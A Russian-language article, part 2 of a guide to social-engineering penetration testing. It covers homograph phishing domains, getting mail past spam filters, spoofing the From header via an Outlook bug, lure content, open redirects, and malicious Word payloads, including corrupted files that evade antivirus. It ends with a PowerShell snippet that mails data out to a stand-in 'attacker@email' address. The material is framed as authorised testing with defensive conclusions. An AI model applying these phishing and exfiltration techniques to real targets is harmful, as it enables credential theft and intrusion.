Социальная инженерия. Практики, методы и инструменты для социотехнического тестирования. Часть 2

Социальная инженерия. Практики, методы и инструменты для социотехнического тестирования. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение 

В какой-то момент тебе понадобится создать фишинговый домен — он бывает нужен как для рассылки, так и для создания фейкового сайта или портала компании. Для этого есть утилита URLCrazy, но она не умеет делать гомографические домены (домены, в которых можно использовать Unicode), а вот CATPHISH умеет. Помимо этого, в наборе утилит хорошо иметь dnstwist.

С регистрацией таких доменов, кстати, была проблема: когда я пробовал заменить символом Unicode только одну букву, все доменные регистраторы отказывали мне и требовали заменить на Unicode все символы. В наших целях это часто проблематично, потому что полностью совпадающих символов не так много, а появления всяких дефисов и точек в адресе хочется избежать. Из тех регистраторов, с которыми я имел дело, единственный, который разрешил менять один символ, — это GoDaddy.

Также я проверил, как разные почтовые клиенты парсят punycode — репрезентацию юникодных доменов в виде ASCII (ты наверняка встречал эти сочетания типа xn--). Так вот, выяснилось, что Outlook 2013, 2015 и 2016, а также The Bat вместо них показывают Unicode, пряча от пользователя наш небольшой трюк. В IBM Notes, Thunderbird, Mail из Windows 10 и macOS и Web Outlook такое, к сожалению, не сработает.

Как снизить вероятность того, что спам-фильтры будут заворачивать рассылку? В первую очередь надо грамотно настроить Sender Policy Framework (example.org. IN TXT "v=spf1 +a +mx +all"). Тогда почтовый сервер сможет убедиться, что отправленное тобой письмо действительно отправлено с того IP, который указан в DNS-записи A или MX.

Точно так же с DomainKeys Identified Mail. Попробую объяснить упрощенно: грубо говоря, есть публичный и приватный ключи, и, когда ты отправляешь письмо со своего сервера, он подписывает твое письмо; одна запись будет находиться на сервере DNS, другая — внутри письма. Во время приема письма сервер проверяет, сходятся ли ключи, и если да, то повышает доверие к письму. Также необходимо знать о записи PTR. Это обратная запись DNS: она находится на сервере и говорит о том, что ресурс ссылается на какое-то определенное доменное имя.

Проверить, все ли верно настроено, и узнать рейтинг доверия к письму позволяет сервис mail-tester.com.

Предварительная рассылка.

Если заказчик с пониманием относится к тестированию и разрешает нам сделать предварительную рассылку, мы выбираем десять-пятнадцать пользователей и шлем им на почту письма, на которые с большой вероятностью ответят. Не фишинг с акциями или призами, а какую-нибудь просьбу, например: «Ваш коллега сказал, что вы можете мне помочь и прислать внутренний номер другого сотрудника». В ответе обычно приходит что-то вроде «Нет, я не знаю, кто это такая…». Но это и не важно: важно просто получить ответ. Кроме этого, можно попробовать отправить письмо на несуществующий адрес: часто SMTP-сервер присылает ответное письмо об отсутствии адресата.

Что мы получаем таким образом? Самое главное — наличие или отсутствие корпоративной подписи и ее внешний вид. Кроме этого, мы узнаем, как в компании выглядит заголовок From и как написаны имена и фамилии. Например, фамилии могут быть на русском или транслитом, причем транслитерация может выглядеть по-разному: ю может писаться как ju, так и yu. Или, например, ФИО может быть написано целиком. В общем, куча разных вариантов, которые придется учесть на этапе рассылки. Помимо этого, ты можешь получить внутренний телефонный номер — он может пригодиться для социалки по телефону.

Можно даже завязать беседу с сотрудником и в одном из сообщений отправить ссылку на фишинговую страницу. По ссылке при этом может быть просто 404. Нередко бывают случаи, когда пользователь в ответ отправляет тебе скрин, а на нем может быть видно, какой браузер или почтовый клиент используется.

Заголовки писем — тоже важный источник информации. Там наверняка отметятся антивирусы и другие средства защиты — они любят это делать, причем сообщают и версии, и дату последнего обновления баз. Ну и конечно, из заголовков можно получить название почтовика и некоторые внутренние адреса (что может дальше пригодиться для пентеста). Ни в коем случае не проходи мимо такой возможности!

Содержимое письма.

Я очень не люблю социалку с письмами от начальства, а также про зарплаты, увольнения и прочее в таком духе. Кого хоть раз увольняли через письмо? А письма от начальства сейчас выглядят примерно так же правдоподобно, как в 2005 году выглядели письма «Вы миллионный посетитель, введите данные карты». В общем, скучно, глупо и неинтересно.

Гораздо больше мне нравится придумывать что-нибудь пооригинальнее. Например, трюк с недоставленными сообщениями, когда пользователю приходит уведомление об ошибке доставки письма, которое он не отправлял. Обычно он думает: «Что за письмо? Я не отправлял такое. Какое-то вложение, ну-ка, ну-ка!»

Привязка ко времени тоже чаще всего оказывается удачной идеей. Любой большой праздник вроде Нового года или Восьмого марта отлично годится. Пишем: «Надо сдать деньги, вот список тех, кто не хочет сдавать, запиши себя, если не хочешь» — и прикладываем документ Excel. Редко кто откажется от соблазна глянуть на позорный список.

Как вариант — можно изображать внутреннюю рассылку: попросить подойти в бухгалтерию, распечатав и заполнив какие-то бумажки, принести какие-то справки, которые предварительно необходимо открыть. В общем, все, что приходит на почту каждый день и покажется пользователю обыденным, но при этом что обязательно откроют, если в письме будет написано, что это срочно.

Фишинг.

С фишингом все просто. Если мы изображаем внутреннюю рассылку, то достаточно попросить перейти по ссылке на корпоративный портал, где для входа потребуется ввести свой логин и пароль в обычную Basic-аутентификацию. Либо мы можем подделать оповещение от одного из сервисов, используемых в компании (Confluence, Jira и так далее). Как раз тут нам и пригодится брутфорс поддоменов, в ходе которого ты выяснишь, что именно используется. Не забудь прикрепить favicon.ico!

Оформление.

Оформление — одна из самых важных частей, от которой будет зависеть успешность рассылки. Именно благодаря оформлению повышается доверие пользователя к письму. Во-первых, попытайся получить образец корпоративной подписи: подделать ее будет особенно полезно, если она заметная — например, с картинкой. Иногда она так хорошо привлекает внимание, что люди даже не посмотрят на сторонний домен.

Занятный факт: самое любимое слово у каждого человека — это его имя. Если обращаться к сотруднику по имени, а еще лучше — с отчеством, то это повысит шансы, что он откроет письмо и, возможно, вложение.

Еще одна интересная вещь — это CC. Подредактировав заголовок письма, в копию можно поставить вообще любых пользователей. При этом письмо не отправится им, но в клиенте будет отображаться, что они есть в копии. Туда можно внести любых сотрудников, и это тоже неплохо повышает уровень доверия пользователя.

Ребята с Defcon Moscow недавно нашли баг в Outlook: заголовок From парсится неправильно, что дает возможность указать фейковую почту вместо реальной. Отображаться при этом будет именно фейковая, но письмо не считается спамом и проходит все проверки. Если отправить письмо с заголовком From: Fake Mail <fake@mail.ru> <realemail@mail.ltd>, в некоторых клиентах оно будет отображаться как отправленное с fake@mail.ru.

Другой классный трюк, о котором стоит помнить, — это возможность использовать формат переписки. Делаем письмо с ответом на другое письмо, которого в реальности не было. Например, как бы приводим цитату письма от начальства, где сообщается, что что-то нужно срочно сделать, и прикладываем документ. Внимание пользователя в таком случае гарантировано, и, по моей статистике, шанс того, что он откроет вложение, тоже значительно повышается.

В идеале ты должен соблюсти шрифты, цвет и прочие особенности письма с учетом того, какой почтовик ты подделываешь. Например, в Outlook первое письмо всегда пишется шрифтом Courier и первое сообщение — черным цветом, а остальные уже синие. Это мелкая особенность, но достижение максимальной правдоподобности в данном случае очень важно.

Ну и конечно, ты можешь захотеть скрыть адреса ссылок — например, в HTML можно подставить в атрибут href одно, а в текст ссылки — совсем другое. Но спам-фильтр, увидев такое, может завернуть письмо. А вот From письма стоит подделать так, чтобы оно выглядело как у всех в фирме. Обязательно посмотри, что конкретно там указано, — имя и фамилия, или ФИО целиком, или еще какой-нибудь вариант.

Не забывай и про Open Redirect. Его, на мой взгляд, вполне можно считать уязвимостью. В социалке он работает очень хорошо: например, мы можем использовать главный домен банка, а дальше в ссылке — Open Redirect, который будет перекидывать на наш домен.

Пейлоад.

Конечно, ты можешь использовать Dynamic Data Exchange, который недавно был очень популярен, но теперь его блокируют почти все антивирусы. Можешь упаковывать в архив с паролем, чтобы пользователь минут пять пытался этот архив открыть. Можешь взять JS, MHT и MHTA, которые тоже давно блокируются антивирусами, или RTF, где тоже недавно была найдена уязвимость, которую потом эксплуатировали многие APT-группировки.

Но на дворе 2018 год, поэтому ничего из этого я не использую — только если окажется, что что-то вдруг из этого списка не блокируется. Я стараюсь применять либо загрузку с внешних ресурсов (в документ Word вставляется объект с загрузкой по внешней ссылке, а в ответ мы можем получить GET-запрос и в некоторых случаях — NTLM-хеш, если работать с Responder), либо OLE: опять же вставляем такой объект в документ Word, лепим на него крутую иконку (например, еще одного документа Excel или архива) и получаем в целом валидный документ, который требует от пользователя всего три клика.

Проблемы.

Один из частых вопросов, на которые нет четкого ответа, — это во сколько отправлять сообщения, чтобы его сразу просмотрело как можно больше людей. В девять утра или в полдень? Или перед самым окончанием рабочего дня?

Исследователи здесь расходятся во мнении. Кто-то рекомендует делать рассылку сразу после обеда: когда пользователь сыт, его бдительность может быть снижена. Некоторые говорят, что лучше прямо до обеда, потому что пик офисной активности — это 11–13 часов и сотрудник может быть невнимательным из-за попыток делать несколько дел одновременно. Другой вариант — слать письма в районе шести вечера, когда люди пытаются как можно скорее закончить все дела, чтобы пойти домой. Тут решать тебе.

Другая частая проблема — блокировка антивирусами, спам-фильтрами и другими средствами защиты. Письма могут просто не проходить песочницу. Но дело обычно сильно осложняется тем, что приходится работать методом черного ящика и ты не знаешь ничего о конфигурации.

Еще один полезный интересный трюк использует такую замечательную особенность Word, как восстановление битых документов. Поскольку документ — это архив ZIP, его обычно можно открыть архиватором. Но если нарушить, например, целостность заголовка или последовательность байтов внутри тела такого файла, то сделать это будет невозможно. Таким образом, файл проходит антивирус, но после пары предупреждений откроется в Word.

И третья большая проблема — получить результат, когда выходы в интернет заблокированы. В компании могут быть вдруг закрыты и соединения по HTTP, и даже DNS. Что делать, когда трафик вообще не проходит? Плохим способом решить эту проблему может быть отправка рассылки на личную почту сотрудников. Заказчики обычно такого не допускают, но исключения бывают.

Но давай подумаем: если письмо все же получено, значит, какой-то трафик все же проходит? Бинго! Работает почта, значит, можно использовать ее. Доступ к тому же Outlook можно получить через COM-объект и отправить письмо самому себе с почты сотрудника таким кодом:

$Outlook = New-Object -ComObject Outlook.Application
$Mail = $Outlook.CreateItem(0)
$Mail.To = "attacker@email"
$Mail.Subject = "Subj"
$Mail.Body = "Message"
$Mail.Send()

Выводы.

Что я чаще всего советую заказчикам? Набор обычно почти всегда одинаков: мониторинг аномалий почтового трафика, настройка песочниц, спам-фильтров и других средств защиты, постоянное обучение сотрудников и (барабанная дробь) проведение социотехнического тестирования!

Источник


Report Page